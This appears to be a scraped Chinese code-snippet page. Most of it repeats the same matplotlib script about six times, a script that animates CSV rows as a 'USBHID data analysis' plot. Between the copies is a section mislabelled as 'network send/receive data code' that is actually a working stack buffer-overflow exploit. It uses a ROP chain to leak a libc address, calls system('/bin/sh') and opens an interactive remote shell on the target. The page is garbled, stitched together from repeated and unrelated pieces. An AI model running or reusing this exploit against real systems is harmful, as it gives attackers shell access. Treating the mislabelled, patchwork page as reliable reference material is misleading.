python 处理csv数据 动态显示曲线 matplot动画

 # -*- coding: utf-8 -*-
 """
 Spyder Editor

 This temporary script file is located here:
 C:\Users\user\.spyder2\.temp.py
 """
 """
 Show how to modify the coordinate formatter to report the image "z"
 value of the nearest pixel given x and y
 """
 # coding: utf-8

 import time
 import string
 import os
 import math
 import pylab

 import numpy as np
 from numpy import genfromtxt
 import matplotlib
 import matplotlib as mpl
 from matplotlib.colors import LogNorm
 from matplotlib.mlab import bivariate_normal

 import matplotlib.pyplot as plt
 import matplotlib.cm as cm


 import matplotlib.animation as animation



 metric = genfromtxt('D:\export.csv', delimiter=',')

 lines=len(metric)
 #print len(metric)
 #print len(metric[4])
 #print metric[4]

 rowdatas=metric[:,0]
 for index in range(len(metric[4])-1):
     a=metric[:,index+1]
     rowdatas=np.row_stack((rowdatas,a))

 #print len(rowdatas)
 #print len(rowdatas[4])
 #print rowdatas[4]
 #

 #plt.figure(figsize=(38,38), dpi=80)
 #plt.plot(rowdatas[4] )
 #plt.xlabel('time')
 #plt.ylabel('value')
 #plt.title("USBHID data analysis")
 #plt.show()

 linenum=1
 ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
 listdata=rowdatas.tolist()
 print listdata[4]

 #fig = plt.figure()
 #window = fig.add_subplot(111)
 #line, = window.plot(listdata[4] )

 fig, ax = plt.subplots()
 line, = ax.plot(listdata[4],lw=2)
 ax.grid()

 time_template = 'Data ROW = %d'
 time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

 #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
 #line, = ax.plot([], [], lw=2)

 def update(data):
     global linenum
     line.set_ydata(data)
 #    print 'this is line: %d'%linenum
     time_text.set_text(time_template % (linenum))
     linenum=linenum+1
 #    nextitem = input(u'输入任意字符继续: ')
     return line,

 def init():
 #    ax.set_ylim(0, 1.1)
 #    ax.set_xlim(0, 10)
 #    line.set_data(xdata)
     plt.xlabel('time')
     plt.ylabel('Time')
     plt.title('USBHID Data analysis')
     return line,

 ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
 plt.show()
 
      # -*- coding: utf-8 -*-
 """
 Spyder Editor

 This temporary script file is located here:
 C:\Users\user\.spyder2\.temp.py
 """
 """
 Show how to modify the coordinate formatter to report the image "z"
 value of the nearest pixel given x and y
 """
 # coding: utf-8

 import time
 import string
 import os
 import math
 import pylab

 import numpy as np
 from numpy import genfromtxt
 import matplotlib
 import matplotlib as mpl
 from matplotlib.colors import LogNorm
 from matplotlib.mlab import bivariate_normal

 import matplotlib.pyplot as plt
 import matplotlib.cm as cm


 import matplotlib.animation as animation



 metric = genfromtxt('D:\export.csv', delimiter=',')

 lines=len(metric)
 #print len(metric)
 #print len(metric[4])
 #print metric[4]

 rowdatas=metric[:,0]
 for index in range(len(metric[4])-1):
     a=metric[:,index+1]
     rowdatas=np.row_stack((rowdatas,a))

 #print len(rowdatas)
 #print len(rowdatas[4])
 #print rowdatas[4]
 #

 #plt.figure(figsize=(38,38), dpi=80)
 #plt.plot(rowdatas[4] )
 #plt.xlabel('time')
 #plt.ylabel('value')
 #plt.title("USBHID data analysis")
 #plt.show()

 linenum=1
 ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
 listdata=rowdatas.tolist()
 print listdata[4]

 #fig = plt.figure()
 #window = fig.add_subplot(111)
 #line, = window.plot(listdata[4] )

 fig, ax = plt.subplots()
 line, = ax.plot(listdata[4],lw=2)
 ax.grid()

 time_template = 'Data ROW = %d'
 time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

 #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
 #line, = ax.plot([], [], lw=2)

 def update(data):
     global linenum
     line.set_ydata(data)
 #    print 'this is line: %d'%linenum
     time_text.set_text(time_template % (linenum))
     linenum=linenum+1
 #    nextitem = input(u'输入任意字符继续: ')
     return line,

 def init():
 #    ax.set_ylim(0, 1.1)
 #    ax.set_xlim(0, 10)
 #    line.set_data(xdata)
     plt.xlabel('time')
     plt.ylabel('Time')
     plt.title('USBHID Data analysis')
     return line,

 ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
 plt.show()
  pyqt如何显示实时数据
 
      # -*- coding: utf-8 -*-
 """
 Spyder Editor

 This temporary script file is located here:
 C:\Users\user\.spyder2\.temp.py
 """
 """
 Show how to modify the coordinate formatter to report the image "z"
 value of the nearest pixel given x and y
 """
 # coding: utf-8

 import time
 import string
 import os
 import math
 import pylab

 import numpy as np
 from numpy import genfromtxt
 import matplotlib
 import matplotlib as mpl
 from matplotlib.colors import LogNorm
 from matplotlib.mlab import bivariate_normal

 import matplotlib.pyplot as plt
 import matplotlib.cm as cm


 import matplotlib.animation as animation



 metric = genfromtxt('D:\export.csv', delimiter=',')

 lines=len(metric)
 #print len(metric)
 #print len(metric[4])
 #print metric[4]

 rowdatas=metric[:,0]
 for index in range(len(metric[4])-1):
     a=metric[:,index+1]
     rowdatas=np.row_stack((rowdatas,a))

 #print len(rowdatas)
 #print len(rowdatas[4])
 #print rowdatas[4]
 #

 #plt.figure(figsize=(38,38), dpi=80)
 #plt.plot(rowdatas[4] )
 #plt.xlabel('time')
 #plt.ylabel('value')
 #plt.title("USBHID data analysis")
 #plt.show()

 linenum=1
 ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
 listdata=rowdatas.tolist()
 print listdata[4]

 #fig = plt.figure()
 #window = fig.add_subplot(111)
 #line, = window.plot(listdata[4] )

 fig, ax = plt.subplots()
 line, = ax.plot(listdata[4],lw=2)
 ax.grid()

 time_template = 'Data ROW = %d'
 time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

 #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
 #line, = ax.plot([], [], lw=2)

 def update(data):
     global linenum
     line.set_ydata(data)
 #    print 'this is line: %d'%linenum
     time_text.set_text(time_template % (linenum))
     linenum=linenum+1
 #    nextitem = input(u'输入任意字符继续: ')
     return line,

 def init():
 #    ax.set_ylim(0, 1.1)
 #    ax.set_xlim(0, 10)
 #    line.set_data(xdata)
     plt.xlabel('time')
     plt.ylabel('Time')
     plt.title('USBHID Data analysis')
     return line,

 ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
 plt.show()
 
      # -*- coding: utf-8 -*-
 """
 Spyder Editor

 This temporary script file is located here:
 C:\Users\user\.spyder2\.temp.py
 """
 """
 Show how to modify the coordinate formatter to report the image "z"
 value of the nearest pixel given x and y
 """
 # coding: utf-8

 import time
 import string
 import os
 import math
 import pylab

 import numpy as np
 from numpy import genfromtxt
 import matplotlib
 import matplotlib as mpl
 from matplotlib.colors import LogNorm
 from matplotlib.mlab import bivariate_normal

 import matplotlib.pyplot as plt
 import matplotlib.cm as cm


 import matplotlib.animation as animation



 metric = genfromtxt('D:\export.csv', delimiter=',')

 lines=len(metric)
 #print len(metric)
 #print len(metric[4])
 #print metric[4]

 rowdatas=metric[:,0]
 for index in range(len(metric[4])-1):
     a=metric[:,index+1]
     rowdatas=np.row_stack((rowdatas,a))

 #print len(rowdatas)
 #print len(rowdatas[4])
 #print rowdatas[4]
 #

 #plt.figure(figsize=(38,38), dpi=80)
 #plt.plot(rowdatas[4] )
 #plt.xlabel('time')
 #plt.ylabel('value')
 #plt.title("USBHID data analysis")
 #plt.show()

 linenum=1
 ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
 listdata=rowdatas.tolist()
 print listdata[4]

 #fig = plt.figure()
 #window = fig.add_subplot(111)
 #line, = window.plot(listdata[4] )

 fig, ax = plt.subplots()
 line, = ax.plot(listdata[4],lw=2)
 ax.grid()

 time_template = 'Data ROW = %d'
 time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

 #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
 #line, = ax.plot([], [], lw=2)

 def update(data):
     global linenum
     line.set_ydata(data)
 #    print 'this is line: %d'%linenum
     time_text.set_text(time_template % (linenum))
     linenum=linenum+1
 #    nextitem = input(u'输入任意字符继续: ')
     return line,

 def init():
 #    ax.set_ylim(0, 1.1)
 #    ax.set_xlim(0, 10)
 #    line.set_data(xdata)
     plt.xlabel('time')
     plt.ylabel('Time')
     plt.title('USBHID Data analysis')
     return line,

 ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
 plt.show()
  python 网络发送接收数据代码 
     #coding:utf-8
__author__  =  'Dazdingo'

from  socket  import  *
import  struct
import  time
import  threading
import  sys

is_recv  =  True

sock_host  =  '192.168.206.130'
sock_port  =  8080

S  =  socket(AF_INET, SOCK_STREAM)

def  send(ss, tail  =  ''):
  global  S
  if  tail:
    ss  + =  tail
  print  ss
  S.send(ss)

def  outputrecv():
  global  S
  while  1 :
    if  is_recv:
      i  =   S.recv( 1024 )
      if  i:
        sys.stdout.write(i)

def  start_recv():
  #start recv
  t  =  threading.Thread(target  =  outputrecv,  args  =  ())
  t.daemon  =  True
  t.start()

def  get_shell():
  #start recv
  start_recv()

  global  S
  while  1 :
    time.sleep( 0.1 )
    ss  =  raw_input ()  +  '\n'
    S.send(ss)


def  main():
  global  S

  if  len (sys.argv)  = =  3 :
    sock_host  =  sys.argv[ 1 ]
    sock_port  =  int (sys.argv[ 2 ])

  S.connect((sock_host, sock_port))

  a  =  raw_input ( 'pause' )
  print  S.recv( 1024 )

  send( 'syclover\x001111111\xf0' )

  print  S.recv( 1024 )

  ebp  =  '\x20\x99\x04\x08'
  libc  =  '\x5c\x98\x04\x08'  #__libc_start_main
  retaddr1  =  '\xa0\x83\x04\x08'  # write
  retaddr2  =  '\xbe\x85\x04\x08'  #pop;pop;pop;ret
  pop_ebp_ret  =  '\xc0\x85\x04\x08'
  retaddr3  =  '\x60\x83\x04\x08'  # read
  retaddr4  =  '\xd2\x85\x04\x08'  #leave ret

   send( 'A' * 0x9c  +  ebp  +  retaddr1  +  retaddr2  +  '\x01\x00\x00\x00'  +  libc  +   '\x04\x00\x00\x00'  + pop_ebp_ret  +  ebp  +  retaddr3  +  retaddr4  +   '\x00\x00\x00\x00'  +  '\x24\x99\x04\x08'  +  '\xf0\x00\x00\x00'  )

  time.sleep( 1 )
  l  =  S.recv( 1024 )

  libcaddr  =  struct.unpack( 'I' , l)[ 0 ]
  print  '__libc_start_main:' , hex (libcaddr)
  system  =  libcaddr  +  0x26050

  send(struct.pack( 'I' , system)  +  'AAAA' + '\x30\x99\x04\x08'  +  '/bin/sh\x00' )

  get_shell()


if  __name__  = =  '__main__' :
  main() 
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      # -*- coding: utf-8 -*-
 """
 Spyder Editor

 This temporary script file is located here:
 C:\Users\user\.spyder2\.temp.py
 """
 """
 Show how to modify the coordinate formatter to report the image "z"
 value of the nearest pixel given x and y
 """
 # coding: utf-8

 import time
 import string
 import os
 import math
 import pylab

 import numpy as np
 from numpy import genfromtxt
 import matplotlib
 import matplotlib as mpl
 from matplotlib.colors import LogNorm
 from matplotlib.mlab import bivariate_normal

 import matplotlib.pyplot as plt
 import matplotlib.cm as cm


 import matplotlib.animation as animation



 metric = genfromtxt('D:\export.csv', delimiter=',')

 lines=len(metric)
 #print len(metric)
 #print len(metric[4])
 #print metric[4]

 rowdatas=metric[:,0]
 for index in range(len(metric[4])-1):
     a=metric[:,index+1]
     rowdatas=np.row_stack((rowdatas,a))

 #print len(rowdatas)
 #print len(rowdatas[4])
 #print rowdatas[4]
 #

 #plt.figure(figsize=(38,38), dpi=80)
 #plt.plot(rowdatas[4] )
 #plt.xlabel('time')
 #plt.ylabel('value')
 #plt.title("USBHID data analysis")
 #plt.show()

 linenum=1
 ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
 listdata=rowdatas.tolist()
 print listdata[4]

 #fig = plt.figure()
 #window = fig.add_subplot(111)
 #line, = window.plot(listdata[4] )

 fig, ax = plt.subplots()
 line, = ax.plot(listdata[4],lw=2)
 ax.grid()

 time_template = 'Data ROW = %d'
 time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

 #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
 #line, = ax.plot([], [], lw=2)

 def update(data):
     global linenum
     line.set_ydata(data)
 #    print 'this is line: %d'%linenum
     time_text.set_text(time_template % (linenum))
     linenum=linenum+1
 #    nextitem = input(u'输入任意字符继续: ')
     return line,

 def init():
 #    ax.set_ylim(0, 1.1)
 #    ax.set_xlim(0, 10)
 #    line.set_data(xdata)
     plt.xlabel('time')
     plt.ylabel('Time')
     plt.title('USBHID Data analysis')
     return line,

 ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
 plt.show()
  pyqt如何显示实时数据

 # -*- coding: utf-8 -*-
 """
 Spyder Editor

 This temporary script file is located here:
 C:\Users\user\.spyder2\.temp.py
 """
 """
 Show how to modify the coordinate formatter to report the image "z"
 value of the nearest pixel given x and y
 """
 # coding: utf-8

 import time
 import string
 import os
 import math
 import pylab

 import numpy as np
 from numpy import genfromtxt
 import matplotlib
 import matplotlib as mpl
 from matplotlib.colors import LogNorm
 from matplotlib.mlab import bivariate_normal

 import matplotlib.pyplot as plt
 import matplotlib.cm as cm


 import matplotlib.animation as animation



 metric = genfromtxt('D:\export.csv', delimiter=',')

 lines=len(metric)
 #print len(metric)
 #print len(metric[4])
 #print metric[4]

 rowdatas=metric[:,0]
 for index in range(len(metric[4])-1):
     a=metric[:,index+1]
     rowdatas=np.row_stack((rowdatas,a))

 #print len(rowdatas)
 #print len(rowdatas[4])
 #print rowdatas[4]
 #

 #plt.figure(figsize=(38,38), dpi=80)
 #plt.plot(rowdatas[4] )
 #plt.xlabel('time')
 #plt.ylabel('value')
 #plt.title("USBHID data analysis")
 #plt.show()

 linenum=1
 ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...
 listdata=rowdatas.tolist()
 print listdata[4]

 #fig = plt.figure()
 #window = fig.add_subplot(111)
 #line, = window.plot(listdata[4] )

 fig, ax = plt.subplots()
 line, = ax.plot(listdata[4],lw=2)
 ax.grid()

 time_template = 'Data ROW = %d'
 time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

 #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))
 #line, = ax.plot([], [], lw=2)

 def update(data):
     global linenum
     line.set_ydata(data)
 #    print 'this is line: %d'%linenum
     time_text.set_text(time_template % (linenum))
     linenum=linenum+1
 #    nextitem = input(u'输入任意字符继续: ')
     return line,

 def init():
 #    ax.set_ylim(0, 1.1)
 #    ax.set_xlim(0, 10)
 #    line.set_data(xdata)
     plt.xlabel('time')
     plt.ylabel('Time')
     plt.title('USBHID Data analysis')
     return line,

 ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)
 plt.show()